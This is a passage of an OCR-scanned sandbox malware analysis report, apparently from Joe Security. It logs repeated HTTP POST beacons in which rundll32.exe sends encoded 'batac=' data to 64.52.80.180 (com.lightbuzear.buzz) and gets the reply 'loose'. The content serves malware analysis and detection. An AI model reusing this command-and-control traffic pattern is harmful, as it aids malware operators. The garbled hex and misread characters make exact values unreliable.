Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose

Destination IP Destination Process
Port
64.52.80.180 443 C:\Windows\System32\rundlI32.exe

Data

POST /Kolpt523ytcserstrew/torel HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: com.lightbuzear.buzz

Content-Length: 1118

Cache-Control: no-cache
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kBytes

Timestam
P transferred

2022-08-14 06:39:50 UTC 39

2022-08-14 06:39:51 UTC 41

2022-08-14 06:39:51 UTC 41

Session ID Source IP
24 192.168.2.22
. kBytes
Ti t
imestamp transferred

2022-08-14 06:39:51 UTC 41

2022-08-14 06:39:51 UTC 41

2022-08-14 06:39:52 UTC 42

2022-08-14 06:39:52 UTC 42

Session ID Source IP

25 192.168.2.22
. kBytes

Timestamp transferred

2022-08-14 06:39:53 UTC 42

Copyright Joe Security LLC 2022

Direction

ouT

Source Port

49196

Direction

ouT

ouT

Source Port

49197

Direction

ouT

Data

Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
7432767469 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59

Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3ylYX4F
/ZN6DYWwWSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAYOBOmbaa56+RpY TTtZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcalL5NbjwedcAtPaly33KpMmVoz25devpsg2IDPhJFkS9TDX{t2vti4 BEWgj+XgsaWzMhC1Y

HTTP/1.1 200 OK

Date: Sun, 14 Aug 2022 06:39:50 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5

Connection: close

Content-Type: text/html; charset=UTF-8

Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose

Destination
Destination IP Process
Port

64.52.80.180 443 C:\Windows\System32\rundlI32.exe

Data

POST /Kolpt523ytcserstrew/torel HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: com.lightbuzear.buzz

Content-Length: 1118

Cache-Control: no-cache

Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59

Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3y1YX4F
/ZN6DYwSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAYOBOmbaa56+RpY TTItZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcal 5NbjwedcAtPaly33KpMmVoz25devpsg2IDPhJFKS9TDXtt2vti4ABEWgj+XgsaWzMhC1Y

HTTP/1.1 200 OK

Date: Sun, 14 Aug 2022 06:39:52 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5

Connection: close

Content-Type: text/html; charset=UTF-8

Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose

Destination IP D ation Process
Port
64.52.80.180 443 C:\Windows\System32\rundll32.exe

Data

POST /Kolpt523ytcserstrew/torel HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: com.lightbuzear.buzz

Content-Length: 1118

Cache-Control: no-cache
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kBytes

Timestam
P transferred

2022-08-14 06:39:53 UTC 43

2022-08-14 06:39:53 UTC 44

2022-08-14 06:39:53 UTC 44

Session ID Source IP
26 192.168.2.22
. kBytes
Ti t
imestamp transferred

2022-08-14 06:39:54 UTC 44

2022-08-14 06:39:54 UTC 44

2022-08-14 06:39:54 UTC 45

2022-08-14 06:39:54 UTC 46

Session ID Source IP

27 192.168.2.22
. kBytes

Timestamp transferred

2022-08-14 06:39:55 UTC 46

Copyright Joe Security LLC 2022

Direction

ouT

Source Port

49198

Direction

ouT

ouT

Source Port

49199

Direction

ouT

Data

Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59

Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3y1lYX4F
/ZN6DYWwWSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAYOBOmbaa56+RpY TTtZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcalL5NbjwedcAtPaly33KpMmVoz25devpsg2|DPhJFkS9TDX{t2vti4 BEWgj+XgsaWzMhC1Y

HTTP/1.1 200 OK

Date: Sun, 14 Aug 2022 06:39:53 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5

Connection: close

Content-Type: text/html; charset=UTF-8

Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose

Destination
Destination IP Process
Port

64.52.80.180 443 C:\Windows\System32\rundlI32.exe

Data

POST /Kolpt523ytcserstrew/torel HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: com.lightbuzear.buzz

Content-Length: 1118

Cache-Control: no-cache

Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59

Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3y1YX4F
/ZN6DYWwSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAYOBOmbaa56+RpY TT9tZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcal 5NbjwedcAtPaly33KpMmVoz25devpsg2IDPhJFKS9TDXtt2vti4ABEWgj+XgsaWzMhC1Y

HTTP/1.1 200 OK

Date: Sun, 14 Aug 2022 06:39:54 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5

Connection: close

Content-Type: text/html; charset=UTF-8

Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose

Destinati
Destination IP Estnaton Process

Port
64.52.80.180 443 C:\Windows\System32\rundlI32.exe

Data

POST /Kolpt523ytcserstrew/torel HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: com.lightbuzear.buzz

Content-Length: 1118

Cache-Control: no-cache
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kBytes

Timestam
P transferred

2022-08-14 06:39:55 UTC 46

2022-08-14 06:39:56 UTC 47

2022-08-14 06:39:56 UTC 47

Session ID Source IP
28 192.168.2.22
. kBytes
Ti t
imestamp transferred

2022-08-14 06:39:56 UTC 47

2022-08-14 06:39:56 UTC 48

2022-08-14 06:39:57 UTC 49

2022-08-14 06:39:57 UTC 49

Session ID Source IP

29 192.168.2.22
. kBytes

Timestamp transferred

2022-08-14 06:39:57 UTC 49

Copyright Joe Security LLC 2022

Direction

ouT

Source Port

49200

Direction

ouT

ouT

Source Port

49201

Direction

ouT

Data

Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59

Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3y1lYX4F
/ZN6DYWwWSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAYOBOmbaa56+RpY TTtZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcalL5NbjwedcAtPaly33KpMmVoz25devpsg2|DPhJFkS9TDX{t2vti4 BEWgj+XgsaWzMhC1Y

HTTP/1.1 200 OK

Date: Sun, 14 Aug 2022 06:39:55 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5

Connection: close

Content-Type: text/html; charset=UTF-8

Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose

Destination
Destination IP Process
Port

64.52.80.180 443 C:\Windows\System32\rundlI32.exe

Data

POST /Kolpt523ytcserstrew/torel HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: com.lightbuzear.buzz

Content-Length: 1118

Cache-Control: no-cache

Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59

Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3y1YX4F
/ZN6DYWwSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAYOBOmbaa56+RpY TT9tZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcal 5NbjwedcAtPaly33KpMmVoz25devpsg2IDPhJFKS9TDXtt2vti4ABEWgj+XgsaWzMhC1Y

HTTP/1.1 200 OK

Date: Sun, 14 Aug 2022 06:39:56 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5

Connection: close

Content-Type: text/html; charset=UTF-8

Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose

Destinati
Destination IP Estnaton Process

Port
64.52.80.180 443 C:\Windows\System32\rundlI32.exe

Data

POST /Kolpt523ytcserstrew/torel HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: com.lightbuzear.buzz

Content-Length: 1118

Cache-Control: no-cache
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kBytes

Timestam
P transferred

2022-08-14 06:39:57 UTC 49

2022-08-14 06:39:58 UTC 50

2022-08-14 06:39:58 UTC 51

Session ID Source IP

3 192.168.2.22
. kBytes

Ti t
imestamp transferred

2022-08-14 06:39:28 UTC 6

2022-08-14 06:39:28 UTC 7

2022-08-14 06:39:29 UTC 8

2022-08-14 06:39:29 UTC 8

Session ID Source IP

30 192.168.2.22
. kBytes

Timestamp transferred

2022-08-14 06:39:58 UTC 51

Copyright Joe Security LLC 2022

Direction

ouT

Source Port

49175

Direction

ouT

ouT

Source Port

49202

Direction

ouT

Data

Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59

Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3y1lYX4F
/ZN6DYWwWSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAYOBOmbaa56+RpY TTtZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcalL5NbjwedcAtPaly33KpMmVoz25devpsg2IDPhJFkS9TDX{t2vti4 BEWgj+XgsaWzMhC1Y

HTTP/1.1 200 OK

Date: Sun, 14 Aug 2022 06:39:58 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5

Connection: close

Content-Type: text/html; charset=UTF-8

Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose

Destination
Destination IP Process
Port

64.52.80.180 443 C:\Windows\System32\rundlI32.exe

Data

POST /Kolpt523ytcserstrew/torel HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: com.lightbuzear.buzz

Content-Length: 1118

Cache-Control: no-cache

Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59

Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3y1YX4F
/ZN6DYWwSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAYOBOmbaa56+RpY TT9tZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcal 5NbjwedcAtPaly33KpMmVoz25devpsg2IDPhJFKS9TDXtt2vti4ABEWgj+XgsaWzMhC1Y

HTTP/1.1 200 OK

Date: Sun, 14 Aug 2022 06:39:29 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5

Connection: close

Content-Type: text/html; charset=UTF-8

Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose

Destination IP P ation Process
Port
64.52.80.180 443 C:\Windows\System32\rundll32.exe

Data

POST /Kolpt523ytcserstrew/torel HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: com.lightbuzear.buzz

Content-Length: 1118

Cache-Control: no-cache
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kBytes

Timestam
P transferred

2022-08-14 06:39:58 UTC 51

2022-08-14 06:39:59 UTC 52

2022-08-14 06:39:59 UTC 52

Session ID Source IP
31 192.168.2.22
. kBytes
Ti t
imestamp transferred

2022-08-14 06:39:59 UTC 52

2022-08-14 06:39:59 UTC 53

2022-08-14 06:40:00 UTC 54

2022-08-14 06:40:00 UTC 54

Session ID Source IP

32 192.168.2.22
. kBytes

Timestamp transferred

2022-08-14 06:40:00 UTC 54

Copyright Joe Security LLC 2022

Direction

ouT

Source Port

49203

Direction

ouT

ouT

Source Port

49204

Direction

ouT

Data

Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59

Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3ylYX4F
/ZN6DYWwWSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAYOBOmbaa56+RpY TTtZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcalL5NbjwedcAtPaly33KpMmVoz25devpsg2IDPhJFkS9TDX{t2vti4 BEWgj+XgsaWzMhC1Y

HTTP/1.1 200 OK

Date: Sun, 14 Aug 2022 06:39:59 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5

Connection: close

Content-Type: text/html; charset=UTF-8

Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose

Destination
Destination IP Process
Port

64.52.80.180 443 C:\Windows\System32\rundlI32.exe

Data

POST /Kolpt523ytcserstrew/torel HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: com.lightbuzear.buzz

Content-Length: 1118

Cache-Control: no-cache

Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59

Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3y1YX4F
/ZN6DYWwSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAYOBOmbaa56+RpY TT9tZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcal 5NbjwedcAtPaly33KpMmVoz25devpsg2IDPhJFKS9TDXtt2vti4ABEWgj+XgsaWzMhC1Y

HTTP/1.1 200 OK

Date: Sun, 14 Aug 2022 06:40:00 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5

Connection: close

Content-Type: text/html; charset=UTF-8

Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose

Destination IP D ation Process
Port
64.52.80.180 443 C:\Windows\System32\rundll32.exe

Data

POST /Kolpt523ytcserstrew/torel HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: com.lightbuzear.buzz

Content-Length: 1118

Cache-Control: no-cache
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kBytes

Timestam
P transferred

2022-08-14 06:40:00 UTC 54

2022-08-14 06:40:01 UTC 55

2022-08-14 06:40:01 UTC 56

Session ID Source IP
33 192.168.2.22
. kBytes
Ti t
imestamp transferred

2022-08-14 06:40:01 UTC 56

2022-08-14 06:40:01 UTC 56

2022-08-14 06:40:02 UTC 57

2022-08-14 06:40:02 UTC 57

Session ID Source IP

34 192.168.2.22
. kBytes

Timestamp transferred

2022-08-14 06:40:03 UTC 57

Copyright Joe Security LLC 2022

Direction

ouT

Source Port

49205

Direction

ouT

ouT

Source Port

49206

Direction

ouT

Data

Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
